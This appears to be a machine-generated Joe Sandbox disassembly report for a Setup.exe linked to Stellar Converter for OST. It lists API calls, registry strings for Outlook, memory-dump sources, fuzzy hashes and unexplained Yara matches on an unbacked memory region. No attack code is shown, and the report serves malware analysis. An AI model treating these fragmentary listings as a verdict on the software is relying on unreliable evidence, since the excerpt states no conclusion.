Part of subcall function 00B63610: SizeofResource.KERNEL32(?,?,?,?,00B7BF2D,?), ref: 00B63674

RegQueryValueExW.ADVAPI32(00000000,Bitness,00000000,00000000,?,00000104), ref: 00B627D3
RegCloseKey.ADVAPI32(00000000,?,?), ref: 00B6287A
RegQueryValueExW.ADVAPI32(00000000,Bitness,00000000,00000000,?,00000104), ref: 00B62915
RegCloseKey.ADVAPI32(00000000,?,?), ref: 00B629BC
RegQueryValueExW.ADVAPI32(00000000,Bitness,00000000,00000000,?,00000104), ref: 00B62A51
RegCloseKey.ADVAPI32(00000000,?,?), ref: 00B62AF8
RegQueryValueExW.ADVAPI32(00000000,Bitness,00000000,00000000,?,00000104), ref: 00B62B8D
RegCloseKey.ADVAPI32(00000000,?,?), ref: 00B62C34
RegQueryValueExW.ADVAPI32(00000000,Bitness,00000000,00000000,?,00000104), ref: 00B62CC9
RegCloseKey.ADVAPI32(00000000,?,?), ref: 00B62D70
RegQueryValueExW.ADVAPI32(00000000,Bitness,00000000,00000000,?,00000104), ref: 00B62E06
RegCloseKey.ADVAPI32(00000000,?,?), ref: 00B62EAD
RegQueryValueExW.ADVAPI32(00000000,?,00000000,?,?,00000000,00D084D8), ref: 00B62F9A
RegCloseKey.ADVAPI32(00000000), ref: 00B63001
GetBinaryTypeW.KERNEL32(?,00000208), ref: 00B6304D
RegCloseKey.ADVAPI32(00000000,00D084D8,80000002,?,0002001F,00D084D8), ref: 00B6316D

Strings

Bitness, xrefs: 00B627CD, 00B6290F, 00B62A4B, 00B62B87, 00B62CC3, 00B62E00
SOFTWARE\Microsoft\Office\16.0\Outlook, xrefs: 00B626B8
x64, xrefs: 00B62853, 00B62995, 00B62AD1, 00B62C0D, 00B62D49, 00B62E86
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Outlook.exe, xrefs: 00B62EDC
SOFTWARE\Microsoft\Office\14.0\Outlook, xrefs: 00B626DC
SOFTWARE\Wow6432Node\Microsoft\Office\14.0\Outlook, xrefs: 00B6270C
SOFTWARE\Microsoft\Office\15.0\Outlook, xrefs: 00B626CC
SOFTWARE\Wow6432Node\Microsoft\Office\15.0\Outlook, xrefs: 00B626FC
SOFTWARE\Wow6432Node\Microsoft\Office\16.0\Outlook, xrefs: 00B626EC

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Close$QueryValue$Resource$BinaryFindLoadLockSizeofType
String ID: Bitness$SOFTWARE\Microsoft\Office\14.0\Outlook$SOFTWARE\Microsoft\Office\15.0\Outlook$SOFTWARE\Microsoft\Office\16.0\Outlook$SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Outlook.exe$SOFTWARE\Wow6432Node\Microsoft\Office\14.0\Outlook$SOFTWARE\Wow6432Node\Microsoft\Office\15.0\Outlook$SOFTWARE\Wow6432Node\Microsoft\Office\16.0\Outlook$x64
API String ID: 2418103192-2287240893
Opcode ID: 00a9c0a6a60e3e293c26b9fb69abf902814f64bab8f9078285fc10b841da1efd
Instruction ID: 0a1f23f5804c1c5b2c92f982c16aeb69548207b9eb84a7b39cdfdb8acd16deb4
Opcode Fuzzy Hash: 00a9c0a6a60e3e293c26b9fb69abf902814f64bab8f9078285fc10b841da1efd
Instruction Fuzzy Hash: B9728170A00A199AFB24DF68CD95FAEB3F4EF15304F1442E9E509A6181DF789E88CF51

Function 00B61E20 Relevance: 37.2, APIs: 14, Strings: 7, Instructions: 446registrywindowCOMMON

Download Yara Rule

APIs

InitCommonControlsEx.COMCTL32(?,BFD722F5), ref: 00B61E6B

Part of subcall function 00B650E8: __EH_prolog3.LIBCMT ref: 00B650EF

RegQueryValueExW.ADVAPI32(00000000,ExePath64Bit,00000000,00000000,?,00000104,80000002,Software\Stellar Data Recovery\Stellar Converter for OST,0002001F), ref: 00B61F8D
RegCloseKey.ADVAPI32(00000000), ref: 00B61FFA

Part of subcall function 00B6710C: SHGetMalloc.SHELL32(00000004), ref: 00B6712C

RegQueryValueExW.ADVAPI32(00000000,ExeNameIntOstPst,00000000,?,?,00000104,80000002,Software\Stellar Data Recovery\Stellar Converter for OST,0002001F), ref: 00B620B6
RegCloseKey.ADVAPI32(00000000), ref: 00B62123
PostQuitMessage.USER32(00000012), ref: 00B62160
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000005), ref: 00B6217A
RegQueryValueExW.ADVAPI32(00000000,ExePath32Bit,00000000,00000000,?,00000104,80000002,Software\Stellar Data Recovery\Stellar Converter for OST,0002001F), ref: 00B6222E
RegCloseKey.ADVAPI32(00000000), ref: 00B6229B
RegQueryValueExW.ADVAPI32(00000000,ExeNameIntOstPst,00000000,?,?,00000104,80000002,Software\Stellar Data Recovery\Stellar Converter for OST,0002001F), ref: 00B62341
RegCloseKey.ADVAPI32(00000000), ref: 00B623AE
PostQuitMessage.USER32(00000012), ref: 00B623EB
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000005), ref: 00B62405
RegCloseKey.ADVAPI32(00000000), ref: 00B6242E

Strings

open, xrefs: 00B62173, 00B623FE
Software\Stellar Data Recovery\Stellar Converter for OST, xrefs: 00B61F43, 00B62076, 00B621D0, 00B622F7
3Qo, xrefs: 00B61E6B
ExePath64Bit, xrefs: 00B61F87
Local AppWizard-Generated Applications, xrefs: 00B61EA5
ExePath32Bit, xrefs: 00B62228
ExeNameIntOstPst, xrefs: 00B620B0, 00B6233B

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Close$QueryValue$ExecuteMessagePostQuitShell$CommonControlsH_prolog3InitMalloc
String ID: ExeNameIntOstPst$ExePath32Bit$ExePath64Bit$Local AppWizard-Generated Applications$Software\Stellar Data Recovery\Stellar Converter for OST$open$3Qo
API String ID: 122080928-3432749377
Opcode ID: 70cb55ed43541506c3ff6952b78a43a0d2ced9af61d405d3732b6374f2d655c0
Instruction ID: aa68d6f89da32ac935fc31111ffd5fc00985cde688c5675acc49e4e41dd69493
Opcode Fuzzy Hash: 70cb55ed43541506c3ff6952b78a43a0d2ced9af61d405d3732b6374f2d655c0
Instruction Fuzzy Hash: B302C270A01619AAEB30DF54CC85B9EB7F4FF05704F1481E9E649A6281DF789E88CF91

Function 01495812 Relevance: 30.2, Strings: 24, Instructions: 248COMMON

Download Yara Rule

Strings

<, xrefs: 014958A4
,, xrefs: 014958E4
v, xrefs: 01495848
&, xrefs: 0149590C
0, xrefs: 014958B4
*, xrefs: 014958DC
3, xrefs: 01495840
., xrefs: 014958EC
:, xrefs: 0149589C
', xrefs: 01495910
D, xrefs: 014958F8
6, xrefs: 014958CC
4, xrefs: 014958C4
#, xrefs: 01495880
8, xrefs: 01495894
o, xrefs: 01495820
", xrefs: 014958FC
2, xrefs: 014958BC
X, xrefs: 01495914
$, xrefs: 01495904
, xrefs: 014958F4
G, xrefs: 01495900
(, xrefs: 014958D4
>, xrefs: 014958AC

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: $"$#$$$&$'$($*$,$.$0$2$3$4$6$8$:$<$>$D$G$X$o$v
API String ID: 0-3322111379
Opcode ID: 5c58f55e42b23ca187b126e1ce5cc2fc5e8d18af746c1456a743a5bd04940231
Instruction ID: 9c418ff6d1be07000b6d7713153dce717e82716fa58d7bf0bf1a896b3abf92e8
Opcode Fuzzy Hash: 5c58f55e42b23ca187b126e1ce5cc2fc5e8d18af746c1456a743a5bd04940231
Instruction Fuzzy Hash: 31C1D1219087D9CEDB22C77C884879DBFA11F67224F0D83D9D4A4AF3E2C2B54906C7A5

Function 014829E6 Relevance: 21.8, Strings: 17, Instructions: 574COMMON

Download Yara Rule

Strings

u, xrefs: 01482C5B
0, xrefs: 01482EA7
v, xrefs: 01482C60
t, xrefs: 01482C56
2, xrefs: 01482A9A
2, xrefs: 0148312D
1, xrefs: 01483132
2, xrefs: 01482E9D
0, xrefs: 01483137
3, xrefs: 01483128
!@, xrefs: 01482A19
0, xrefs: 01482AA4
1, xrefs: 01482A9F
,, xrefs: 01482F83
1, xrefs: 01482EA2
3, xrefs: 01482E98
3, xrefs: 01482A95

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: !@$,$0$0$0$1$1$1$2$2$2$3$3$3$t$u$v
API String ID: 0-454642428
Opcode ID: 82a29686f92b096896aa7e43024547db25c14622f934a5b20c63385d3d6ac968
Instruction ID: 763bf45c79dc1b0808990c6e81c73d62c5b2fb371cde03b6ae32052e582c91cc
Opcode Fuzzy Hash: 82a29686f92b096896aa7e43024547db25c14622f934a5b20c63385d3d6ac968
Instruction Fuzzy Hash: 7D32C07160C3808FD325AF28C45576FBBE2ABD5314F18892EE5D5873A2D6B9C846CB43

Function 00B9EF5C Relevance: 21.3, APIs: 14, Instructions: 305windowCOMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 00B9EFED
RedrawWindow.USER32(?,00000000,00000000,00000505), ref: 00B9F00B
ReleaseCapture.USER32 ref: 00B9F011
SetCapture.USER32(?), ref: 00B9F024
ReleaseCapture.USER32 ref: 00B9F0B1
SetCapture.USER32(?), ref: 00B9F0C4
SendMessageW.USER32(?,00000362,0000E001,00000000), ref: 00B9F1B2
UpdateWindow.USER32(?), ref: 00B9F23E
SendMessageW.USER32(?,00000111,00000000,00000000), ref: 00B9F28D
IsWindow.USER32(?), ref: 00B9F299
IsIconic.USER32(?), ref: 00B9F2A4
IsZoomed.USER32(?), ref: 00B9F2AF
IsWindow.USER32(?), ref: 00B9F2CD
UpdateWindow.USER32(?), ref: 00B9F328

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Capture$MessageReleaseSendUpdate$EmptyIconicRectRedrawZoomed
String ID:
API String ID: 2500574155-0
Opcode ID: 536dbe4b66788ca60520f383d80dc9023f1b34eadb78c2e3140a4dd4a50bf149
Instruction ID: 5d9d62c6589f727873068e4fede35a08f260434b1127848c430893ef1b934451
Opcode Fuzzy Hash: 536dbe4b66788ca60520f383d80dc9023f1b34eadb78c2e3140a4dd4a50bf149
Instruction Fuzzy Hash: 2BC16C35A01616AFCF159F64CC94BAD7BB5FF48720F0401BAFC19AB2A2CB709D418B91

Function 0147A016 Relevance: 20.2, Strings: 16, Instructions: 182COMMON

Download Yara Rule

Strings

:N<@, xrefs: 0147A117
J:D<, xrefs: 0147A0E0
W&X8, xrefs: 0147A0D5
-J4L, xrefs: 0147A10C
[>K0, xrefs: 0147A0EB
X"@$, xrefs: 0147A0CA
]2d4, xrefs: 0147A0F6
{*n,, xrefs: 0147A0B4
#^+P, xrefs: 0147A143
A.r , xrefs: 0147A0BF
-B, xrefs: 0147A122
+Z>\, xrefs: 0147A138
uv, xrefs: 0147A1B1
0F5X, xrefs: 0147A12D
L6IH, xrefs: 0147A101
'V$h, xrefs: 0147A159

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: #^+P$'V$h$+Z>\$-B$-J4L$0F5X$:N<@$A.r $J:D<$L6IH$W&X8$X"@$$[>K0$]2d4$uv${*n,
API String ID: 0-1635042408
Opcode ID: a7e5e34847014e09e9e44a775eb7bfbd253da0ebed541809be49819650e84854
Instruction ID: ca9a2430eb62afe179e3e9f99eb532a26319acf100e66d85c40d7d485e971608
Opcode Fuzzy Hash: a7e5e34847014e09e9e44a775eb7bfbd253da0ebed541809be49819650e84854
Instruction Fuzzy Hash: 046163B15093818BD3368F25C8913EBBBE2AFD6310F58892DC5DD9B368DB784146CB46

Function 00B772D1 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 86COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00B772F1

Strings

D2D1CreateFactory, xrefs: 00B77318
D2D1MakeRotateMatrix, xrefs: 00B77350
DWrite.dll, xrefs: 00B7735E
D2D1.dll, xrefs: 00B772FE
DWriteCreateFactory, xrefs: 00B77373

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Initialize
String ID: D2D1.dll$D2D1CreateFactory$D2D1MakeRotateMatrix$DWrite.dll$DWriteCreateFactory
API String ID: 2538663250-1403614551
Opcode ID: b297515a302a4da946ded09e44e080b5a2882ec6c95466db10f71276fbfe0d55
Instruction ID: e24c2574059c6930f40a5700dc8798883bfd26d434f3782cf6985b0c1e9c59ed
Opcode Fuzzy Hash: b297515a302a4da946ded09e44e080b5a2882ec6c95466db10f71276fbfe0d55
Instruction Fuzzy Hash: 4021B571288701BFD7205F71DC49B277BE8EB44755F11897AFA6AC1690EFB0E8099A20

Function 00B967EE Relevance: 15.6, APIs: 10, Instructions: 572windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B967F5
_memcpy_s.LIBCMT ref: 00B96969
_memcpy_s.LIBCMT ref: 00B969CB
PathRemoveFileSpecW.SHLWAPI(?,?,?,00000000,00000020,00B96E6F), ref: 00B96B07
GetFocus.USER32 ref: 00B96DE4
IsWindowEnabled.USER32(000000FF), ref: 00B96E13
EnableWindow.USER32(000000FF,00000000), ref: 00B96E2E
EnableWindow.USER32(00000000,00000001), ref: 00B96ECD
IsWindow.USER32(?), ref: 00B96ED7
SetFocus.USER32(?), ref: 00B96EE2

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$EnableFocus_memcpy_s$EnabledFileH_prolog3PathRemoveSpec
String ID:
API String ID: 2321674057-0
Opcode ID: 3790793bb4ac9111acd01da066813e428e846fef09ec26e0bfd271a0d6ce4880
Instruction ID: 897a29404c8b3052f9260533e012dca2b0f76e113b7aea976252690d5185bab6
Opcode Fuzzy Hash: 3790793bb4ac9111acd01da066813e428e846fef09ec26e0bfd271a0d6ce4880
Instruction Fuzzy Hash: 0E229E71A026169FDF18DF68C895BAEBBF5EF84310F1481BDE815AB2A1DB309D01CB51

Function 00BA655F Relevance: 15.5, APIs: 10, Instructions: 505keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000010), ref: 00BA65BF
GetAsyncKeyState.USER32(00000011), ref: 00BA6623
SendMessageW.USER32(?,00000100,00000024,00000000), ref: 00BA6703
IsRectEmpty.USER32(?), ref: 00BA6797
IsRectEmpty.USER32(?), ref: 00BA6882
SendMessageW.USER32(?,00000362,0000E001,00000000), ref: 00BA6A4A
GetClientRect.USER32(?,00000000), ref: 00BA6AC7
InvalidateRect.USER32(?,?,00000001), ref: 00BA6AF7
InvalidateRect.USER32(?,?,00000001), ref: 00BA6B06
UpdateWindow.USER32(?), ref: 00BA6B0F

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$EmptyInvalidateMessageSendState$AsyncClientUpdateWindow
String ID:
API String ID: 348497913-0
Opcode ID: 772690ea23680302917a530c11346fdf8ea3874480207e9444afc922553b6cf8
Instruction ID: 3b3ccf5a3702ae9910d1a3743f5b65bae3194b4d64ee4810b00483e66296097c
Opcode Fuzzy Hash: 772690ea23680302917a530c11346fdf8ea3874480207e9444afc922553b6cf8
Instruction Fuzzy Hash: 761277B1A042199BDF15DFA8D884BAD7BF5FF49314F1841BAEC05AB291DB30AD40CB60

Function 01497116 Relevance: 15.2, Strings: 12, Instructions: 227COMMON

Download Yara Rule

Strings

3, xrefs: 0149736D
2, xrefs: 01497372
2, xrefs: 0149727B
3, xrefs: 01497194
3, xrefs: 01497276
2, xrefs: 01497199
1, xrefs: 01497377
1, xrefs: 0149719E
0, xrefs: 01497285
1, xrefs: 01497280
0, xrefs: 0149737C
0, xrefs: 014971A3

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: 0$0$0$1$1$1$2$2$2$3$3$3
API String ID: 0-440666214
Opcode ID: 4206ca87da8afee273a233b6b6a3c8e1632b31d5fc9026b81e5ac56b3e103d4d
Instruction ID: 0364d19eca262b58417747c86794810ca46035508488b8f758414984987eca0b
Opcode Fuzzy Hash: 4206ca87da8afee273a233b6b6a3c8e1632b31d5fc9026b81e5ac56b3e103d4d
Instruction Fuzzy Hash: D291063112C3808FDB058B28855136EBFE2ABD6314F084AAEE4D6473E2D678C546CF5B

Function 00CC0749 Relevance: 13.6, APIs: 3, Strings: 4, Instructions: 1390COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00CC08C4

Strings

1#IND, xrefs: 00CC1A66
1#SNAN, xrefs: 00CC1A6D
1#INF, xrefs: 00CC1A91
1#QNAN, xrefs: 00CC1A74

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d74b064db7c3ea004e4a1f4087d74750cb242a1a5a9890b3f362f65a7559d866
Instruction ID: c710afb80e8e1bd835e6bcd617e4fa5771b8ffecea0eab157b287c0049bf0891
Opcode Fuzzy Hash: d74b064db7c3ea004e4a1f4087d74750cb242a1a5a9890b3f362f65a7559d866
Instruction Fuzzy Hash: 6EC23A71E046288FDB24CE29DD40BEAB7B5EB49315F1841EED85DE7241E778AE818F40

Function 00B8D0F5 Relevance: 13.6, APIs: 9, Instructions: 75windowkeyboardCOMMON

Download Yara Rule

APIs

GetPropW.USER32(?,?), ref: 00B8D113
GlobalLock.KERNEL32(00000000), ref: 00B8D11C
SendMessageW.USER32(?,00000476,00000000,00000000), ref: 00B8D137
GlobalUnlock.KERNEL32(00000000), ref: 00B8D142
RemovePropW.USER32(?), ref: 00B8D151
GlobalFree.KERNEL32(00000000), ref: 00B8D15C
GlobalUnlock.KERNEL32(00000000), ref: 00B8D17E
GetAsyncKeyState.USER32(00000011), ref: 00B8D18F
SendMessageW.USER32(?,00000475,00000000,?), ref: 00B8D1B7

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

